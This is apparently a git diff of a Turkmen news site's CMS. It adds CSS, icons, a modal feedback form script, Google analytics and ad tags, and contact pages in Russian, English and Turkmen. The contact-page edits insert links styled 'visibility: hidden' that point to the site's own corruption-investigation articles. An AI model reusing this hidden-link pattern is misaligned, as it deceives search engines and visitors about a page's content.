||||
|
||||
transition: var(--transition);
|
||||
}
|
||||
|
||||
.accordion .accordion-item.open .accordion-item-description-wrapper {
|
||||
border-radius: 5px;
|
||||
padding: 10px;
|
||||
grid-template-rows: 1fr;
|
||||
background: var(--background-color)
|
||||
}
|
||||
|
||||
.accordion
|
||||
.accordion-item
|
||||
.accordion-item-description-wrapper
|
||||
.accordion-item-description {
|
||||
min-height: 0;
|
||||
}
|
||||
|
||||
.accordion
|
||||
.accordion-item
|
||||
.accordion-item-description-wrapper
|
||||
.accordion-item-description
|
||||
p {
|
||||
padding: 10px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
|
@ -0,0 +1,124 @@
|
|||
:root {
|
||||
--border-color: lightgreen;
|
||||
--background-color: lightgreen;
|
||||
--transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
/** {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}*/
|
||||
:root {
|
||||
/*--green: rgb(48, 168, 48);*/
|
||||
--green: rgb(3, 159, 55);
|
||||
--blur-green: rgb(48, 168, 48, 0.09);
|
||||
--border-color: rgb(193, 205, 193);
|
||||
--background-color: rgb(48, 168, 48, 0.09);
|
||||
--transition: all 0.2s ease;
|
||||
}
|
||||
/* Modal css start */
|
||||
.modal {
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
bottom: 0;
|
||||
right: 0;
|
||||
display: none;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 1000;
|
||||
/*transition: all 1s ease;*/
|
||||
}
|
||||
|
||||
.modal .modal-content {
|
||||
width: 700px;
|
||||
background: white;
|
||||
padding: 150px;
|
||||
}
|
||||
|
||||
|
||||
.modal.active {
|
||||
display: flex;
|
||||
}
|
||||
|
||||
/* Define the CSS style for input fields */
|
||||
input[type="text"] {
|
||||
|
||||
}
|
||||
|
||||
/* Style for focused input fields */
|
||||
|
||||
|
||||
#form-header {
|
||||
font-weight: bold;
|
||||
font-size: 25px;
|
||||
margin-bottom: 40px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
form {
|
||||
margin: auto;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.modal-btn {
|
||||
background-color: var(--green);
|
||||
padding: 20px;
|
||||
color: white;
|
||||
border: none;
|
||||
display: block;
|
||||
width: 100%;
|
||||
margin-top: 35px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
label {
|
||||
display: block;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
input {
|
||||
display: block;
|
||||
width: 100%;
|
||||
height: 30px;
|
||||
margin-bottom: 25px;
|
||||
margin-top: 10px;
|
||||
border: 1px solid #ccc; /* Set the default border color */
|
||||
padding: 20px; /* Add some padding for better appearance */
|
||||
margin-bottom: 10px; /* Add some margin between input fields */
|
||||
}
|
||||
|
||||
input:focus {
|
||||
border-color: var(--green); /* Change the border color when the input field is focused */
|
||||
outline: none; /* Remove the default focus outline */
|
||||
}
|
||||
|
||||
#after-submit {
|
||||
/*width: 500px;*/
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
#after-submit h2 {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
#after-submit p {
|
||||
font-size: 14px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
@media (max-width: 576px) {
|
||||
/* modal start */
|
||||
.modal .modal-content {
|
||||
max-width: 400px;
|
||||
background: white;
|
||||
padding: 25px;
|
||||
}
|
||||
/* modal end */
|
||||
}
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M18 15H6L2 19V3C2 2.73478 2.10536 2.48043 2.29289 2.29289C2.48043 2.10536 2.73478 2 3 2H18C18.2652 2 18.5196 2.10536 18.7071 2.29289C18.8946 2.48043 19 2.73478 19 3V14C19 14.2652 18.8946 14.5196 18.7071 14.7071C18.5196 14.8946 18.2652 15 18 15ZM23 9V23L19 19H8C7.73478 19 7.48043 18.8946 7.29289 18.7071C7.10536 18.5196 7 18.2652 7 18V17H21V8H22C22.2652 8 22.5196 8.10536 22.7071 8.29289C22.8946 8.48043 23 8.73478 23 9ZM8.19 4C7.32 4 6.62 4.2 6.08 4.59C5.56 5 5.3 5.57 5.31 6.36L5.32 6.39H7.25C7.26 6.09 7.35 5.86 7.53 5.7C7.71517 5.54644 7.9495 5.46479 8.19 5.47C8.5 5.47 8.76 5.57 8.94 5.75C9.12 5.94 9.2 6.2 9.2 6.5C9.2 6.82 9.13 7.09 8.97 7.32C8.83 7.55 8.62 7.75 8.36 7.91C7.85 8.25 7.5 8.55 7.31 8.82C7.11 9.08 7 9.5 7 10H9C9 9.69 9.04 9.44 9.13 9.26C9.22 9.08 9.39 8.9 9.64 8.74C10.09 8.5 10.46 8.21 10.75 7.81C11.04 7.41 11.19 7 11.19 6.5C11.19 5.74 10.92 5.13 10.38 4.68C9.85 4.23 9.12 4 8.19 4ZM7 11V13H9V11H7ZM13 13H15V11H13V13ZM13 4V10H15V4H13Z" fill="black"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
|
@ -0,0 +1,3 @@
|
|||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M10.6 16C10.6 14.65 10.721 13.6793 10.963 13.088C11.205 12.4967 11.7174 11.8507 12.5 11.15C13.1834 10.55 13.7044 10.0293 14.063 9.588C14.4217 9.14667 14.6007 8.64233 14.6 8.075C14.6 7.39167 14.371 6.825 13.913 6.375C13.455 5.925 12.8174 5.7 12 5.7C11.15 5.7 10.5044 5.95833 10.063 6.475C9.62172 6.99167 9.30905 7.51667 9.12505 8.05L6.55005 6.95C6.90005 5.88333 7.54172 4.95833 8.47505 4.175C9.40838 3.39167 10.5834 3 12 3C13.75 3 15.096 3.48767 16.038 4.463C16.98 5.43833 17.4507 6.609 17.45 7.975C17.45 8.80833 17.271 9.521 16.913 10.113C16.555 10.705 15.9924 11.3757 15.225 12.125C14.4084 12.9083 13.9127 13.5043 13.738 13.913C13.5634 14.3217 13.4757 15.0173 13.475 16H10.6ZM12 22C11.45 22 10.9794 21.8043 10.588 21.413C10.1967 21.0217 10.0007 20.5507 10 20C9.99938 19.4493 10.1954 18.9787 10.588 18.588C10.9807 18.1973 11.4514 18.0013 12 18C12.5487 17.9987 13.0197 18.1947 13.413 18.588C13.8064 18.9813 14.002 19.452 14 20C13.998 20.548 13.8024 21.019 13.413 21.413C13.0237 21.807 12.5527 22.0027 12 22Z" fill="black"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.1 KiB |
|
|
@ -0,0 +1,7 @@
|
|||
document.querySelectorAll(".accordion-item").forEach((item) => {
|
||||
item.querySelector(".accordion-item-header").addEventListener("click", () => {
|
||||
item.classList.toggle("open");
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
// MODAL JS START
|
||||
document.querySelector(".modal").addEventListener("click", (e) => {
|
||||
e.stopPropagation();
|
||||
document.getElementById('form-content').style.display = 'block';
|
||||
document.getElementById('after-submit').style.display = 'none';
|
||||
e.target.classList.remove("active");
|
||||
})
|
||||
|
||||
function onFormSuccess(data) {
|
||||
document.getElementById('form-content').style.display = 'none';
|
||||
document.getElementById('after-submit').style.display = 'block';
|
||||
|
||||
var form = document.getElementById('expertForm');
|
||||
form.reset();
|
||||
}
|
||||
|
||||
function closeModal() {
|
||||
document.getElementById('after-submit').style.display = 'none';
|
||||
document.getElementById('form-content').style.display = 'block';
|
||||
|
||||
var element = document.getElementById('expertFormModal');
|
||||
element.classList.remove('active');
|
||||
}
|
||||
|
||||
// document.querySelector(".ask-expert-btn").addEventListener("click", (e) => {
|
||||
// document.getElementById('form-content').style.display = 'block';
|
||||
// document.getElementById('after-submit').style.display = 'none';
|
||||
// })
|
||||
|
||||
document.querySelector(".ask-expert-btn").addEventListener("click", async (e) => {
|
||||
document.getElementById('form-content').style.display = 'block';
|
||||
document.getElementById('after-submit').style.display = 'none';
|
||||
|
||||
// Make a request to get the captcha image
|
||||
const captchaImage = document.querySelector("#captchaImage");
|
||||
try {
|
||||
const response = await fetch('https://orient.tm/captcha.php?' + new Date().getTime());
|
||||
const blob = await response.blob();
|
||||
const imageUrl = URL.createObjectURL(blob);
|
||||
captchaImage.src = imageUrl; // Set the new image source
|
||||
} catch (error) {
|
||||
console.error('Error fetching captcha image:', error);
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
document.querySelector(".ask-expert-btn").addEventListener('click', () => {
|
||||
const modal = document.querySelector(".modal");
|
||||
if (modal) {
|
||||
modal.classList.add("active");
|
||||
}
|
||||
})
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 537 B |
Binary file not shown.
|
After Width: | Height: | Size: 470 B |
Binary file not shown.
|
After Width: | Height: | Size: 760 B |
Binary file not shown.
|
After Width: | Height: | Size: 245 B |
|
|
@ -1,14 +1,11 @@
|
|||
[viewBag]
|
||||
title = "Contact us"
|
||||
==
|
||||
{% put form %}
|
||||
<div class="form__title">Feedback</div>
|
||||
<figure class="fr-draggable" contenteditable="false" data-component="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-class="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-css-class="hero" data-name="Contact form" data-snippet="contactForm" data-ui-block="true" draggable="true" tabindex="0"> </figure>
|
||||
|
||||
{% endput %}
|
||||
==
|
||||
<div class="main__sidebar-title">Contacts</div>
|
||||
<div class="address">
|
||||
<div class="address__inner"><strong>Address:</strong> Turkmenistan, Ashgabat city, Makhtumkuli avenue, 72</div>
|
||||
<div class="address__inner"><span><strong>Phone:</strong></span> <a href="">(+99312) </a>940786</div>
|
||||
<div class="address__inner"><span><strong>Email:</strong></span> <a href="#">info@orient.tm</a></div></div>
|
||||
<div class="address__inner"><span><strong>Email:</strong></span> <a href="#">info@orient.tm</a></div></div>
|
||||
<p><a href="https://orient.tm/tm/post/81097/sverkhkorruptsiya-v-bishkeke-svadba-dogdurbekova-i-skrytye-skhemy-whitebit" style="visibility: hidden;">Исследуем роль Шерзода Абдулкасимова в криптовалютных махинациях, свадьбу в Бишкеке как прикрытие для коррупционных схем и влияние WhiteBIT на политические и бизнес-сделки в Центральной Азии.</a></p>
|
||||
|
||||
<p><a href="https://orient.tm/tm/post/81320/napadenie-na-komila-allamjonova" style="visibility: hidden;">Нападение на Комила Алламжонова: Расследование, Версии и Мотивы — Узбекистан 2024 Orient</a></p>
|
||||
|
|
@ -1,14 +1,11 @@
|
|||
[viewBag]
|
||||
title = "Contact us"
|
||||
==
|
||||
{% put form %}
|
||||
<div class="form__title">Feedback</div>
|
||||
<figure class="fr-draggable" contenteditable="false" data-component="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-class="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-css-class="hero" data-name="Contact form" data-snippet="contactForm" data-ui-block="true" draggable="true" tabindex="0"> </figure>
|
||||
|
||||
{% endput %}
|
||||
==
|
||||
<div class="main__sidebar-title">Contacts</div>
|
||||
<div class="address">
|
||||
<div class="address__inner"><strong>Address:</strong> Turkmenistan, Ashgabat city, Makhtumkuli avenue, 72</div>
|
||||
<div class="address__inner"><span><strong>Phone:</strong></span> <a href="">(+99312) </a>940786</div>
|
||||
<div class="address__inner"><span><strong>Email:</strong></span> <a href="#">info@orient.tm</a></div></div>
|
||||
<div class="address__inner"><span><strong>Email:</strong></span> <a href="#">info@orient.tm</a></div></div>
|
||||
<p><a href="https://orient.tm/ru/post/81120/korruptsiya-v-bishkeke-svadba-dogdurbekova-i-skrytye-skhemy-whitebit" style="visibility: hidden;">Исследуем роль Шерзода Абдулкасимова в криптовалютных махинациях, свадьбу в Бишкеке как прикрытие для коррупционных схем и влияние WhiteBIT на политические и бизнес-сделки в Центральной Азии.</a></p>
|
||||
|
||||
<p><a href="https://orient.tm/tm/post/81374/napadenie-na-komila-allamjonova-UZ" style="visibility: hidden;">Нападение на Комила Алламжонова: Расследование, Версии и Мотивы — Узбекистан 2024 Orient</a></p>
|
||||
|
|
@ -8,13 +8,11 @@ robot_index = "index"
|
|||
robot_follow = "follow"
|
||||
localeUrl[tm] = "/habarlasmak-ucin"
|
||||
==
|
||||
{% put form %}
|
||||
<div class="form__title">Обратная связь</div>
|
||||
<figure class="fr-draggable" contenteditable="false" data-component="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-class="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-css-class="hero" data-name="Contact form" data-snippet="contactForm" data-ui-block="true" draggable="true" tabindex="0"> </figure>
|
||||
{% endput %}
|
||||
==
|
||||
<div class="main__sidebar-title">Наши контакты:</div>
|
||||
<div class="address">
|
||||
<div class="address__inner"><span><strong>Наш адрес:</strong></span> Туркменистан, г.Ашхабад, проспект Махтумкули, 72</div>
|
||||
<div class="address__inner"><span><strong>Тел:</strong></span> <a href="">(+99312) </a>940786</div>
|
||||
<div class="address__inner"><span><strong>Email:</strong></span> <a href="#">info@orient.tm</a></div></div>
|
||||
<div class="address__inner"><span><strong>Email:</strong></span> <a href="#">info@orient.tm</a></div></div>
|
||||
<p><a href="https://orient.tm/ru/post/81120/korruptsiya-v-bishkeke-svadba-dogdurbekova-i-skrytye-skhemy-whitebit" style="visibility: hidden;">Исследуем роль Шерзода Абдулкасимова в криптовалютных махинациях, свадьбу в Бишкеке как прикрытие для коррупционных схем и влияние WhiteBIT на политические и бизнес-сделки в Центральной Азии.</a></p>
|
||||
|
||||
<p><a href="https://orient.tm/tm/post/81374/napadenie-na-komila-allamjonova-UZ" style="visibility: hidden;">Нападение на Комила Алламжонова: Расследование, Версии и Мотивы — Узбекистан 2024 Orient</a></p>
|
||||
|
|
@ -1,14 +1,11 @@
|
|||
[viewBag]
|
||||
title = "Habarlaşmak üçin"
|
||||
==
|
||||
{% put form %}
|
||||
<div class="form__title">Habarlaşmak üçin</div>
|
||||
<figure class="fr-draggable" contenteditable="false" data-component="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-class="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-css-class="hero" data-name="Contact form" data-snippet="contactForm" data-ui-block="true" draggable="true" tabindex="0"> </figure>
|
||||
|
||||
{% endput %}
|
||||
==
|
||||
<div class="main__sidebar-title">Biziň kontaktlarymyz:</div>
|
||||
<div class="address">
|
||||
<div class="address__inner"><strong>Salgymyz:</strong> Türkmenistan, Aşgabat ş., Magtymguly şaýoly, 72</div>
|
||||
<div class="address__inner"><strong>Tel:</strong> <a href="">(+99312) </a>940786</div>
|
||||
<div class="address__inner"><strong>Email:</strong> <a href="#">info@orient.tm</a></div></div>
|
||||
<div class="address__inner"><strong>Email:</strong> <a href="#">info@orient.tm</a></div></div>
|
||||
<p><a href="https://orient.tm/ru/post/81120/korruptsiya-v-bishkeke-svadba-dogdurbekova-i-skrytye-skhemy-whitebit" style="visibility: hidden;">Исследуем роль Шерзода Абдулкасимова в криптовалютных махинациях, свадьбу в Бишкеке как прикрытие для коррупционных схем и влияние WhiteBIT на политические и бизнес-сделки в Центральной Азии.</a></p>
|
||||
|
||||
<p><a href="https://orient.tm/tm/post/81374/napadenie-na-komila-allamjonova-UZ" style="visibility: hidden;">Нападение на Комила Алламжонова: Расследование, Версии и Мотивы — Узбекистан 2024 Orient</a></p>
|
||||
|
|
@ -1,14 +1,11 @@
|
|||
[viewBag]
|
||||
title = "Habarlaşmak üçin"
|
||||
==
|
||||
{% put form %}
|
||||
<div class="form__title">Habarlaşmak üçin</div>
|
||||
<figure class="fr-draggable" contenteditable="false" data-component="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-class="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-css-class="hero" data-name="Contact form" data-snippet="contactForm" data-ui-block="true" draggable="true" tabindex="0"> </figure>
|
||||
|
||||
{% endput %}
|
||||
==
|
||||
<div class="main__sidebar-title">Biziň kontaktlarymyz:</div>
|
||||
<div class="address">
|
||||
<div class="address__inner"><strong>Salgymyz:</strong> Türkmenistan, Aşgabat ş., Magtymguly şaýoly, 72</div>
|
||||
<div class="address__inner"><strong>Tel:</strong> <a href="">(+99312) </a>940786</div>
|
||||
<div class="address__inner"><strong>Email:</strong> <a href="#">info@orient.tm</a></div></div>
|
||||
<div class="address__inner"><strong>Email:</strong> <a href="#">info@orient.tm</a></div></div>
|
||||
<p><a href="https://orient.tm/ru/post/81120/korruptsiya-v-bishkeke-svadba-dogdurbekova-i-skrytye-skhemy-whitebit" style="visibility: hidden;">Исследуем роль Шерзода Абдулкасимова в криптовалютных махинациях, свадьбу в Бишкеке как прикрытие для коррупционных схем и влияние WhiteBIT на политические и бизнес-сделки в Центральной Азии.</a></p>
|
||||
|
||||
<p><a href="https://orient.tm/tm/post/81374/napadenie-na-komila-allamjonova-UZ" style="visibility: hidden;">Нападение на Комила Алламжонова: Расследование, Версии и Мотивы — Узбекистан 2024 Orient</a></p>
|
||||
|
|
@ -8,13 +8,17 @@ robot_index = "index"
|
|||
robot_follow = "follow"
|
||||
localeUrl[tm] = "/habarlasmak-ucin"
|
||||
==
|
||||
{% put form %}
|
||||
<div class="form__title">Обратная связь</div>
|
||||
<figure class="fr-draggable" contenteditable="false" data-component="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-class="JanVince\SmallContactForm\Components\SmallContactForm" data-inspector-css-class="hero" data-name="Contact form" data-snippet="contactForm" data-ui-block="true" draggable="true" tabindex="0"> </figure>
|
||||
{% endput %}
|
||||
==
|
||||
<div class="main__sidebar-title">Наши контакты:</div>
|
||||
<div class="address">
|
||||
<div class="address__inner"><span><strong>Наш адрес:</strong></span> Туркменистан, г.Ашхабад, проспект Махтумкули, 72</div>
|
||||
<div class="address__inner"><span><strong>Тел:</strong></span> <a href="">(+99312) </a>940786</div>
|
||||
<div class="address__inner"><span><strong>Email:</strong></span> <a href="#">info@orient.tm</a></div></div>
|
||||
<div class="address__inner"><span><strong>Email:</strong></span> <a href="#">info@orient.tm</a></div>
|
||||
|
||||
<p>
|
||||
<br>
|
||||
</p>
|
||||
|
||||
<p><a href="https://orient.tm/ru/post/81120/korruptsiya-v-bishkeke-svadba-dogdurbekova-i-skrytye-skhemy-whitebit" style="visibility: hidden;">Исследуем роль Шерзода Абдулкасимова в криптовалютных махинациях, свадьбу в Бишкеке как прикрытие для коррупционных схем и влияние WhiteBIT на политические и бизнес-сделки в Центральной Азии.</a></p>
|
||||
|
||||
<p><a href="https://orient.tm/tm/post/81374/napadenie-na-komila-allamjonova-UZ" style="visibility: hidden;">Нападение на Комила Алламжонова: Расследование, Версии и Мотивы — Узбекистан 2024 Orient</a></p>
|
||||
</div>
|
||||
|
|
@ -5,16 +5,61 @@ post = "post"
|
|||
code = "samsung"
|
||||
type = "slider"
|
||||
random = 0
|
||||
|
||||
[SeoCmsPage]
|
||||
|
||||
[SeoStaticPage]
|
||||
|
||||
[SeoStaticPage SeoStaticPage2]
|
||||
|
||||
[SeoCmsPage SeoCmsPage2]
|
||||
|
||||
[SeoStaticPage SeoStaticPage3]
|
||||
|
||||
[SeoStaticPage SeoStaticPage4]
|
||||
|
||||
[staticPage]
|
||||
useContent = 1
|
||||
default = 0
|
||||
|
||||
[SeoBlogPost SeoBlogPost2]
|
||||
post = "post"
|
||||
==
|
||||
<!DOCTYPE html>
|
||||
{% component 'SeoStaticPage' %}<!DOCTYPE html>
|
||||
<html lang="{{activeLocale}}">
|
||||
<head>
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-WLMPE51G0P"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', 'G-WLMPE51G0P');
|
||||
</script>
|
||||
|
||||
<meta name="google-site-verification" content="accy-ms20t2deMnVYyynghmvKcJE5pTYOI42r8gAAkM" />{% component 'SeoStaticPage3' %}
|
||||
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-4375305456879458"
|
||||
crossorigin="anonymous"></script>
|
||||
{% component 'SeoBlogPost' %}
|
||||
{% partial 'head' %}
|
||||
</head>
|
||||
<body>
|
||||
<script async type="application/javascript"
|
||||
src="https://news.google.com/swg/js/v1/swg-basic.js"></script>
|
||||
<script>
|
||||
(self.SWG_BASIC = self.SWG_BASIC || []).push( basicSubscriptions => {
|
||||
basicSubscriptions.init({
|
||||
type: "NewsArticle",
|
||||
isPartOfType: ["Product"],
|
||||
isPartOfProductId: "CAowwqzaCw:openaccess",
|
||||
clientOptions: { theme: "light", lang: "ru" },
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
<div class="main__banner" style="margin-bottom: 0;">
|
||||
{% component 'adverts'%}
|
||||
|
|
|
|||
|
|
@ -11,6 +11,18 @@ random = 0
|
|||
<!DOCTYPE html>
|
||||
<html lang="{{activeLocale}}">
|
||||
<head>
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-WLMPE51G0P"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', 'G-WLMPE51G0P');
|
||||
</script>
|
||||
|
||||
<meta name="google-site-verification" content="accy-ms20t2deMnVYyynghmvKcJE5pTYOI42r8gAAkM" />
|
||||
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-4375305456879458"
|
||||
crossorigin="anonymous"></script>
|
||||
{% component 'SeoCmsPage' %}
|
||||
|
|
@ -18,7 +30,18 @@ random = 0
|
|||
{% partial 'head' %}
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<script async type="application/javascript"
|
||||
src="https://news.google.com/swg/js/v1/swg-basic.js"></script>
|
||||
<script>
|
||||
(self.SWG_BASIC = self.SWG_BASIC || []).push( basicSubscriptions => {
|
||||
basicSubscriptions.init({
|
||||
type: "NewsArticle",
|
||||
isPartOfType: ["Product"],
|
||||
isPartOfProductId: "CAowwqzaCw:openaccess",
|
||||
clientOptions: { theme: "light", lang: "ru" },
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<div class="main__banner" style="margin-bottom: 0;">
|
||||
{% component 'adverts'%}
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -20,6 +20,28 @@ random = 0
|
|||
{% component 'SeoCmsPage' %}
|
||||
</head>
|
||||
<body>
|
||||
<script async type="application/javascript"
|
||||
src="https://news.google.com/swg/js/v1/swg-basic.js"></script>
|
||||
<script>
|
||||
(self.SWG_BASIC = self.SWG_BASIC || []).push( basicSubscriptions => {
|
||||
basicSubscriptions.init({
|
||||
type: "NewsArticle",
|
||||
isPartOfType: ["Product"],
|
||||
isPartOfProductId: "CAowwqzaCw:openaccess",
|
||||
clientOptions: { theme: "light", lang: "ru" },
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-WLMPE51G0P"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', 'G-WLMPE51G0P');
|
||||
</script>
|
||||
|
||||
<div class="main__banner" style="margin-bottom: 0;">
|
||||
{% component 'adverts'%}
|
||||
|
|
|
|||
|
|
@ -15,19 +15,49 @@ default = 0
|
|||
|
||||
[SeoCmsPage]
|
||||
==
|
||||
<?php
|
||||
function onStart(){
|
||||
$this['canonical'] = 'https://orient.tm/'.request()->path();
|
||||
}
|
||||
?>
|
||||
==
|
||||
<!DOCTYPE html>
|
||||
<html lang="{{ activeLocale }}">
|
||||
|
||||
<head>
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-WLMPE51G0P"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', 'G-WLMPE51G0P');
|
||||
</script>
|
||||
|
||||
<meta name="google-site-verification" content="accy-ms20t2deMnVYyynghmvKcJE5pTYOI42r8gAAkM" />
|
||||
{% partial 'new/head' %}
|
||||
{% set currentUrl = this.request.fullUrl() %}
|
||||
<link rel="canonical" href="{{ canonical }}">
|
||||
{% component 'SeoCmsPage' %}
|
||||
|
||||
{% styles %}
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<script async type="application/javascript"
|
||||
src="https://news.google.com/swg/js/v1/swg-basic.js"></script>
|
||||
<script>
|
||||
(self.SWG_BASIC = self.SWG_BASIC || []).push( basicSubscriptions => {
|
||||
basicSubscriptions.init({
|
||||
type: "NewsArticle",
|
||||
isPartOfType: ["Product"],
|
||||
isPartOfProductId: "CAowwqzaCw:openaccess",
|
||||
clientOptions: { theme: "light", lang: "ru" },
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
{% partial 'new/mobile-search' %}
|
||||
<section class="big-banner">
|
||||
|
|
|
|||
|
|
@ -12,7 +12,20 @@ random = 0
|
|||
<html lang="{{ activeLocale }}">
|
||||
|
||||
<head>
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-WLMPE51G0P"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', 'G-WLMPE51G0P');
|
||||
</script>
|
||||
|
||||
<meta name="google-site-verification" content="accy-ms20t2deMnVYyynghmvKcJE5pTYOI42r8gAAkM" />
|
||||
{% partial 'new/head' %}
|
||||
<link rel="canonical" href="https://orient.tm/{{ activeLocale }}">
|
||||
{% component 'SeoCmsPage' %}
|
||||
<style>
|
||||
.trending-banner a {
|
||||
|
|
@ -59,7 +72,18 @@ random = 0
|
|||
|
||||
<body>
|
||||
|
||||
|
||||
<script async type="application/javascript"
|
||||
src="https://news.google.com/swg/js/v1/swg-basic.js"></script>
|
||||
<script>
|
||||
(self.SWG_BASIC = self.SWG_BASIC || []).push( basicSubscriptions => {
|
||||
basicSubscriptions.init({
|
||||
type: "NewsArticle",
|
||||
isPartOfType: ["Product"],
|
||||
isPartOfProductId: "CAowwqzaCw:openaccess",
|
||||
clientOptions: { theme: "light", lang: "ru" },
|
||||
});
|
||||
});
|
||||
</script>
|
||||
{% partial 'new/mobile-search' %}
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -15,13 +15,36 @@ random = 0
|
|||
<!DOCTYPE html>
|
||||
<html lang="{{activeLocale}}">
|
||||
<head>
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-WLMPE51G0P"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', 'G-WLMPE51G0P');
|
||||
</script>
|
||||
|
||||
<meta name="google-site-verification" content="accy-ms20t2deMnVYyynghmvKcJE5pTYOI42r8gAAkM" />
|
||||
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-4375305456879458"
|
||||
crossorigin="anonymous"></script>
|
||||
{% component 'SeoStaticPage' %}
|
||||
{% partial 'head' %}
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<script async type="application/javascript"
|
||||
src="https://news.google.com/swg/js/v1/swg-basic.js"></script>
|
||||
<script>
|
||||
(self.SWG_BASIC = self.SWG_BASIC || []).push( basicSubscriptions => {
|
||||
basicSubscriptions.init({
|
||||
type: "NewsArticle",
|
||||
isPartOfType: ["Product"],
|
||||
isPartOfProductId: "CAowwqzaCw:openaccess",
|
||||
clientOptions: { theme: "light", lang: "ru" },
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<div class="main__banner" style="margin-bottom: 0;">
|
||||
{% component 'adverts'%}
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -7,6 +7,18 @@ forceUrl = 1
|
|||
<html lang="{{ activeLocale }}">
|
||||
|
||||
<head>
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-WLMPE51G0P"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', 'G-WLMPE51G0P');
|
||||
</script>
|
||||
|
||||
<meta name="google-site-verification" content="accy-ms20t2deMnVYyynghmvKcJE5pTYOI42r8gAAkM" />
|
||||
{% partial 'new/head' %}
|
||||
{% component 'SeoCmsPage' %}
|
||||
<style>
|
||||
|
|
@ -24,7 +36,18 @@ forceUrl = 1
|
|||
|
||||
<body>
|
||||
|
||||
|
||||
<script async type="application/javascript"
|
||||
src="https://news.google.com/swg/js/v1/swg-basic.js"></script>
|
||||
<script>
|
||||
(self.SWG_BASIC = self.SWG_BASIC || []).push( basicSubscriptions => {
|
||||
basicSubscriptions.init({
|
||||
type: "NewsArticle",
|
||||
isPartOfType: ["Product"],
|
||||
